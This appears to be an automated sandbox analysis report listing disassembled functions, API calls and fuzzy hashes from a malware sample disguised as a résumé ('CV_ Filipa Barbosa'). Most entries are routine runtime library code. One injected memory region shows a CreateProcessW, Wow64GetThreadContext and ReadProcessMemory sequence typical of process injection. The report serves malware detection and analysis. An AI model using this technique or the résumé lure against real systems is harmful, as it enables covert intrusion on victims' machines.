                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013F457B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519701964.00000000013F2000.00000040.00000020.00020000.00000000.sdmp, Offset: 013F2000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_13f2000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                          • String ID:
                                                                          • API String ID: 2438371351-0
                                                                          • Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                                          • Instruction ID: afbb07f23b5bf11df49b0b2718b2663e527299fb073c14cd451f5cd75d0169e7
                                                                          • Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
                                                                          • Instruction Fuzzy Hash: 1B620C30A14258DBEB24CFA4C850BDEB776EF58304F1091A9D20DEB390E7769E85CB59
                                                                          Function 005DC396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 00594517: _fseek.LIBCMT ref: 0059452F
                                                                            • Part of subcall function 005DC56D: _wcscmp.LIBCMT ref: 005DC65D
                                                                            • Part of subcall function 005DC56D: _wcscmp.LIBCMT ref: 005DC670
                                                                          • _free.LIBCMT ref: 005DC4DD
                                                                          • _free.LIBCMT ref: 005DC4E4
                                                                          • _free.LIBCMT ref: 005DC54F
                                                                            • Part of subcall function 005B1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,005B7A85), ref: 005B1CB1
                                                                            • Part of subcall function 005B1C9D: GetLastError.KERNEL32(00000000,?,005B7A85), ref: 005B1CC3
                                                                          • _free.LIBCMT ref: 005DC557
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
                                                                          • String ID:
                                                                          • API String ID: 1552873950-0
                                                                          • Opcode ID: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                                          • Instruction ID: b31f979703636f3a8b1eee43cbc2d9677f3a22515856a677671778f1ad00c5f3
                                                                          • Opcode Fuzzy Hash: 0c4af10440446b1fe8382cae8d32a76f34f7d3e1743b3aef6b58de3d60be7303
                                                                          • Instruction Fuzzy Hash: 1D5140B1904219AFDF249F68DC85AAEBFB9FF48300F10449EB219A3251DB715E80CF58
                                                                          Function 005DC71A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetTempPathW.KERNEL32(00000104,?), ref: 005DC72F
                                                                          • GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 005DC746
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Temp$FileNamePath
                                                                          • String ID: aut
                                                                          • API String ID: 3285503233-3010740371
                                                                          • Opcode ID: aff10bc2e9b3badb8f32f582c7e6cb83c7426cd48fc125c48a027b6cd4ee6205
                                                                          • Instruction ID: ac421a7fcbf6dbeb0d71497cd4ad91a0a0e72021655eea8dea5ef4bd0f41a137
                                                                          • Opcode Fuzzy Hash: aff10bc2e9b3badb8f32f582c7e6cb83c7426cd48fc125c48a027b6cd4ee6205
                                                                          • Instruction Fuzzy Hash: 26D05E7550031EBBDB10EB90DC0EFCA7B6D9704704F0041A17760A50B1DAB4E7998B54
                                                                          Function 005EF8AE Relevance: 4.9, APIs: 3, Instructions: 385COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7bfbb43d4f0d45ab2194f8109fa82834127f892bacf70acaadf8ca930d714859
                                                                          • Instruction ID: cc32d401f49068d6f85cd0606486aef3082f122e633fc92a9399bf781f5c29ef
                                                                          • Opcode Fuzzy Hash: 7bfbb43d4f0d45ab2194f8109fa82834127f892bacf70acaadf8ca930d714859
                                                                          • Instruction Fuzzy Hash: 0DF16D716043429FCB14DF29C885B5EBBE5BFC8314F14896EF9999B291DB30E905CB82
                                                                          Function 005B395C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __FF_MSGBANNER.LIBCMT ref: 005B3973
                                                                            • Part of subcall function 005B81C2: __NMSG_WRITE.LIBCMT ref: 005B81E9
                                                                            • Part of subcall function 005B81C2: __NMSG_WRITE.LIBCMT ref: 005B81F3
                                                                          • __NMSG_WRITE.LIBCMT ref: 005B397A
                                                                            • Part of subcall function 005B821F: GetModuleFileNameW.KERNEL32(00000000,00650312,00000104,00000000,00000001,00000000), ref: 005B82B1
                                                                            • Part of subcall function 005B821F: ___crtMessageBoxW.LIBCMT ref: 005B835F
                                                                            • Part of subcall function 005B1145: ___crtCorExitProcess.LIBCMT ref: 005B114B
                                                                            • Part of subcall function 005B1145: ExitProcess.KERNEL32 ref: 005B1154
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          • RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,00000000,?,?,005AF507,?,0000000E), ref: 005B399F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 1372826849-0
                                                                          • Opcode ID: aaf15bdcae9d95030ea5cd120fce05bcd169a0ec3d05ef82296b2ba7933c0109
                                                                          • Instruction ID: bb82ebbdd6a1dcd1c79d09b9755050534881c940e299ec0db39ee5796b56d30e
                                                                          • Opcode Fuzzy Hash: aaf15bdcae9d95030ea5cd120fce05bcd169a0ec3d05ef82296b2ba7933c0109
                                                                          • Instruction Fuzzy Hash: FE01D6352457029AE7113F28EC5AAFE2F48BBC1720F601129F505AA191DFB0FD008660
                                                                          Function 005DC6D9 Relevance: 4.5, APIs: 3, Instructions: 24filetimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,?,?,005DC385,?,?,?,?,?,00000004), ref: 005DC6F2
                                                                          • SetFileTime.KERNELBASE(00000000,?,00000000,?,?,005DC385,?,?,?,?,?,00000004,00000001,?,?,00000004), ref: 005DC708
                                                                          • CloseHandle.KERNEL32(00000000,?,005DC385,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005DC70F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: File$CloseCreateHandleTime
                                                                          • String ID:
                                                                          • API String ID: 3397143404-0
                                                                          • Opcode ID: 1cf753fd6d432ae051a24d02469155eece6d6912ee082b82b445ba40a061f773
                                                                          • Instruction ID: e8ca68d237125433d6be507fcdc9f6ba877ff81b1db0e2a7c184f1fbe4e4f90a
                                                                          • Opcode Fuzzy Hash: 1cf753fd6d432ae051a24d02469155eece6d6912ee082b82b445ba40a061f773
                                                                          • Instruction Fuzzy Hash: CEE08632181214B7D7311B54AC0AFCA7F19EB05760F148112FB25690E0D7B125118798
                                                                          Function 005DBB64 Relevance: 4.5, APIs: 3, Instructions: 22COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _free.LIBCMT ref: 005DBB72
                                                                            • Part of subcall function 005B1C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,005B7A85), ref: 005B1CB1
                                                                            • Part of subcall function 005B1C9D: GetLastError.KERNEL32(00000000,?,005B7A85), ref: 005B1CC3
                                                                          • _free.LIBCMT ref: 005DBB83
                                                                          • _free.LIBCMT ref: 005DBB95
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: _free$ErrorFreeHeapLast
                                                                          • String ID:
                                                                          • API String ID: 776569668-0
                                                                          • Opcode ID: 20f76424029b3f4f106c4d8a086868d24a1af312dab904e69dcb584714f23b8e
                                                                          • Instruction ID: 388aa3b5de55884d045c065a9832e5427d124e85429e0b98c3ad79d20de61448
                                                                          • Opcode Fuzzy Hash: 20f76424029b3f4f106c4d8a086868d24a1af312dab904e69dcb584714f23b8e
                                                                          • Instruction Fuzzy Hash: 0DE012A1641B42C7FA74657D6E58EF31FCC6F44391755081FB45AE7246CF24FC4089A8
                                                                          Function 00592322 Relevance: 3.9, APIs: 3, Instructions: 159COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005922A4: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,005924F1), ref: 00592303
                                                                          • GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 005925A1
                                                                          • CoInitialize.OLE32(00000000), ref: 00592618
                                                                          • CloseHandle.KERNEL32(00000000), ref: 0060503A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Handle$CloseInitializeMessageRegisterWindow
                                                                          • String ID:
                                                                          • API String ID: 3815369404-0
                                                                          • Opcode ID: 43e46cc15e2d4fe338133181f03f3f77c2bbe4e5f8fcf9b3ac4bac3ecc89bea9
                                                                          • Instruction ID: 4fe663b9e4b1068f016118197d49f0d7edccca2773a5666b9160c6d46e0b82ba
                                                                          • Opcode Fuzzy Hash: 43e46cc15e2d4fe338133181f03f3f77c2bbe4e5f8fcf9b3ac4bac3ecc89bea9
                                                                          • Instruction Fuzzy Hash: 9871CEB48013469B8704EF6AA8A4754BFA7FB9B342F80666ED019CF771DB304A84CF15
                                                                          Function 00593A0F Relevance: 3.1, APIs: 2, Instructions: 59COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • IsThemeActive.UXTHEME ref: 00593A73
                                                                            • Part of subcall function 005B1405: __lock.LIBCMT ref: 005B140B
                                                                            • Part of subcall function 00593ADB: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00593AF3
                                                                            • Part of subcall function 00593ADB: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00593B08
                                                                            • Part of subcall function 00593D19: GetCurrentDirectoryW.KERNEL32(00007FFF,?,00000000,00000001,?,?,00593AA3,?), ref: 00593D45
                                                                            • Part of subcall function 00593D19: IsDebuggerPresent.KERNEL32(?,?,?,?,00593AA3,?), ref: 00593D57
                                                                            • Part of subcall function 00593D19: GetFullPathNameW.KERNEL32(00007FFF,?,?,00651148,00651130,?,?,?,?,00593AA3,?), ref: 00593DC8
                                                                            • Part of subcall function 00593D19: SetCurrentDirectoryW.KERNEL32(?,?,?,00593AA3,?), ref: 00593E48
                                                                          • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00593AB3
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme__lock
                                                                          • String ID:
                                                                          • API String ID: 924797094-0
                                                                          • Opcode ID: aad0be89afa5afdc5e0812ad31451ca47304085b27c9ea25bfbb6538d9e0a59a
                                                                          • Instruction ID: 2485c885939c495c7372c738cedce53d9dbb55b32cc780efadc67d361ae81db6
                                                                          • Opcode Fuzzy Hash: aad0be89afa5afdc5e0812ad31451ca47304085b27c9ea25bfbb6538d9e0a59a
                                                                          • Instruction Fuzzy Hash: CF1181715043429BC700EF69D84994EBFE6FBD6751F00891EF544872A1DB709554CB92
                                                                          Function 005BE9D2 Relevance: 3.1, APIs: 2, Instructions: 52COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ___lock_fhandle.LIBCMT ref: 005BEA29
                                                                          • __close_nolock.LIBCMT ref: 005BEA42
                                                                            • Part of subcall function 005B7BDA: __getptd_noexit.LIBCMT ref: 005B7BDA
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __getptd_noexit$___lock_fhandle__close_nolock
                                                                          • String ID:
                                                                          • API String ID: 1046115767-0
                                                                          • Opcode ID: c382bca271e8e6126024e97c92dd55b0165363deb48e1bb95670038469ee79ba
                                                                          • Instruction ID: 2a32650d640bdf03ff5e36e3a104eba44e6cd448f9d1678261894f286207fa30
                                                                          • Opcode Fuzzy Hash: c382bca271e8e6126024e97c92dd55b0165363deb48e1bb95670038469ee79ba
                                                                          • Instruction Fuzzy Hash: FC11A3724096169ED711BB64C84B3D83E667FC1332F2A0340E4241F1E2C7B8BD008AA1
                                                                          Function 005AF4EA Relevance: 3.0, APIs: 2, Instructions: 43COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005B395C: __FF_MSGBANNER.LIBCMT ref: 005B3973
                                                                            • Part of subcall function 005B395C: __NMSG_WRITE.LIBCMT ref: 005B397A
                                                                            • Part of subcall function 005B395C: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,00000000,?,?,005AF507,?,0000000E), ref: 005B399F
                                                                          • std::exception::exception.LIBCMT ref: 005AF51E
                                                                          • __CxxThrowException@8.LIBCMT ref: 005AF533
                                                                            • Part of subcall function 005B6805: RaiseException.KERNEL32(?,?,0000000E,00646A30,?,?,?,005AF538,0000000E,00646A30,?,00000001), ref: 005B6856
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
                                                                          • String ID:
                                                                          • API String ID: 3902256705-0
                                                                          • Opcode ID: b8f7202b4be9dfbd4588050c64b3bcdd95efbf4d31c116f687382ec690f48408
                                                                          • Instruction ID: 5f86d945f3fb91f42c0351e2c1fac7fd24aba7cb1b66788bf7d0e1ac43aae70a
                                                                          • Opcode Fuzzy Hash: b8f7202b4be9dfbd4588050c64b3bcdd95efbf4d31c116f687382ec690f48408
                                                                          • Instruction Fuzzy Hash: 96F0AF3150421FA7DB04FFD8E8059DEBFA9BF46354F644425F908A2191DBB0AA8087A5
                                                                          Function 005B35E4 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          • __lock_file.LIBCMT ref: 005B3629
                                                                            • Part of subcall function 005B4E1C: __lock.LIBCMT ref: 005B4E3F
                                                                          • __fclose_nolock.LIBCMT ref: 005B3634
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __fclose_nolock__getptd_noexit__lock__lock_file
                                                                          • String ID:
                                                                          • API String ID: 2800547568-0
                                                                          • Opcode ID: 6631881a6ebb5c45125bf24208ca20456f3027a60d157798e902fd3e33a05f76
                                                                          • Instruction ID: be74a1e23e40987d67d5ec2e682b8e9865a9cd5750322d1f2f01815761f5bbf2
                                                                          • Opcode Fuzzy Hash: 6631881a6ebb5c45125bf24208ca20456f3027a60d157798e902fd3e33a05f76
                                                                          • Instruction Fuzzy Hash: B8F0B431841606AADB217F65C80A7EE7FA07F81330F358108E420BB2C1CB7CBA019F55
                                                                          Function 013F3D05 Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 013F44C3
                                                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 013F4559
                                                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 013F457B
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519701964.00000000013F2000.00000040.00000020.00020000.00000000.sdmp, Offset: 013F2000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_13f2000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                                                          • String ID:
                                                                          • API String ID: 2438371351-0
                                                                          • Opcode ID: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                          • Instruction ID: d49ca4a56c3fe7f7102c346bcb9c4b104c4c857ce078ea27ee238e4191f69835
                                                                          • Opcode Fuzzy Hash: 45c0bcdfd50c24934144be52d4489c8f4aeee23b26077383fd0484b0fd6f3e51
                                                                          • Instruction Fuzzy Hash: 8E12CE24E24658C6EB24DF64D8507DEB232FF68300F1090ED910DEB7A5E77A4E85CB5A
                                                                          Function 005B2957 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • __flush.LIBCMT ref: 005B2A0B
                                                                            • Part of subcall function 005B7C0E: __getptd_noexit.LIBCMT ref: 005B7C0E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: __flush__getptd_noexit
                                                                          • String ID:
                                                                          • API String ID: 4101623367-0
                                                                          • Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                          • Instruction ID: 7a8546761a0c5d89a993be2db282ed89954ea86acb3c70100abb52019037576a
                                                                          • Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                          • Instruction Fuzzy Hash: F841C6307007069FDB288E69C8955FE7FA6BF84360F24862DE849CB240D7B0FD808B60
                                                                          Function 005AED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ProtectVirtual
                                                                          • String ID:
                                                                          • API String ID: 544645111-0
                                                                          • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                          • Instruction ID: 03c3dce89bbacc0fad2565731816d245870479cf9a669b0836a47bc300dc94af
                                                                          • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                          • Instruction Fuzzy Hash: 4031C774A00105DBD718DF58C48296DFBB6FF8A340B648AA9E40ADB256DB31EDC1CB90
                                                                          Function 00609A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ClearVariant
                                                                          • String ID:
                                                                          • API String ID: 1473721057-0
